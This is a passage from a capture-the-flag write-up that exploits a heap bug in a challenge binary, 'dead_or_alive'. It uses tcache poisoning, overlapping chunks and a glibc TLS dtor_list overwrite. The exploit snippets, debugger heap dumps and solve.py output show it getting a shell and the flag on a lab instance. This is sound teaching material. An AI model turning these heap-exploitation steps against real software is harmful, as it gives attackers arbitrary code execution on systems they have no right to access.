0x55a13790a010|+0x00010|+0x00010: 0x0001000000050007 0x0000000000020000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a3e0 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x000055a13790a2f0 | ...........7.U.. |
0x55a13790a0b0|+0x000b0|+0x000b0: 0x0000000000000000 0x000055a13790a300 | ...........7.U.. |
0x55a13790a0c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 28 lines, 0x1c0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=3,sz=0x50][1/1]
0x55a13790a300|+0x00020|+0x00300: 0x000055a46d83dc7a 0x7d6e2088ec6b3000 | z..m.U...0k.. n} | <- tcache[idx=5,sz=0x70][1/2]
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000031 | P.......1....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Notice that we have two Tcache bins that overlap, so we can use this to create another 0x71
-sized chunk and modify the fd
pointer of the overlapped chunk to point to the appropriate TLS-storage offset:
create(0x48, b'B' * 8 + p64(0x71) + p64(obfuscate(tls_addr - 0x80 + 0x20, heap_addr)), amount=0x41)
create(0x64, b'asdf')
gef> tcachebins
[!] tcache[idx=5, sz=0x70] is corrupted.
----------------------------------------------------------------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------------------------------------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a480 count=3
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=5, size=0x70, @0x55a13790a0b8]: fd=0x7f4c797076e0 count=1
-> Chunk(base=0x7f4c797076d0, addr=0x7f4c797076e0, size=0x7f4c798c93c0, flags=, fd=0x000000000000(=0x0007f4c79707), corrupted)
-> 0x7f4c79707 [corrupted chunk]
[+] Found 11 valid chunks in tcache.
Since we divided the payload in two, we need to perform the same process again with another chunk size, for instance, 0x41
:
delete(create(0x38, b'asdf'))
a = create(0x38, b'a')
b = create(0x38, b'b')
delete(a)
delete(b)
create(0x28, p64(heap_addr + 0x3f0) + p64(0x41) + p64(0x1337) + p64(0x101))
delete(a)
create(0x38, b'C' * 24 + p64(0x21) + p64(obfuscate(tls_addr + 0x30, heap_addr)))
for _ in range(3):
create(0x18, b'Z')
After some additional heap feng-shui, we get the following heap state, where the next pointers go to TLS-storage from two chunk types:
gef> tcachebins
[!] tcache[idx=0, sz=0x20] is corrupted.
[!] tcache[idx=5, sz=0x70] is corrupted.
----------------------------------------------------------------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------------------------------------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x7f4c79707770 count=4
-> Chunk(base=0x7f4c79707760, addr=0x7f4c79707770, size=0x2a7b2359b0fead00, flags=, fd=0x90a3f64d66a17387(=0x90a3f64a9266e480), corrupted)
-> 0x90a3f64a9266e480 [corrupted chunk]
tcachebins[idx=2, size=0x40, @0x55a13790a0a0]: fd=0x55a13790a620 count=2
-> Chunk(base=0x55a13790a610, addr=0x55a13790a620, size=0x40, flags=PREV_INUSE, fd=0x55a46d83dcea(=0x55a13790a5e0))
-> Chunk(base=0x55a13790a5d0, addr=0x55a13790a5e0, size=0x40, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=5, size=0x70, @0x55a13790a0b8]: fd=0x7f4c797076e0 count=1
-> Chunk(base=0x7f4c797076d0, addr=0x7f4c797076e0, size=0x7f4c798c93c0, flags=, fd=0x000000000000(=0x0007f4c79707), corrupted)
-> 0x7f4c79707 [corrupted chunk]
[+] Found 4 valid chunks in tcache.
Now we need to find a way to call exit
. The only way is increasing bounty_idx
up to 50:
if (49 < bounty_idx) {
error("Maximum number of bounty registrations reached. Shutting down...");
/* WARNING: Subroutine does not return */
exit(-1);
}
Hence, we only need to create the needed chunks (except for two), using non-corrupted chunk sizes, and then attempt to create another one. But before that, we need to place the TLS-storage dtor_list
payload so that we get code execution on exit
:
for _ in range(23):
create(0x28, b'Z')
create(0x18, null_ptr_mangle_cookie)
create(0x64, tls_payload)
io.sendlineafter(b'==> ', b'1')
io.recv()
io.interactive()
With all this, we get a shell. Let’s run it again:
$ python3 solve.py
[*] './dead_or_alive_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
[*] './glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process './dead_or_alive_patched': pid 636490
[*] Heap base address: 0x556a32140000
[+] Glibc base address: 0x7ff8b78fc000
[*] Switching to interactive mode
$ ls
dead_or_alive dead_or_alive_patched glibc solve.py
Flag
Let’s run it on the remote instance to get the flag:
$ python3 solve.py 83.136.250.179:34317
[*] './dead_or_alive_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
[*] './glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Opening connection to 83.136.250.179 on port 34317: Done
[*] Heap base address: 0x56267bb09000
[+] Glibc base address: 0x7f122e839000
[*] Switching to interactive mode
$ ls
dead_or_alive
flag.txt
glibc
$ cat flag.txt
HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_aefb45837315dc3e750cb6d9850285f2}
The full exploit code is here: solve.py
.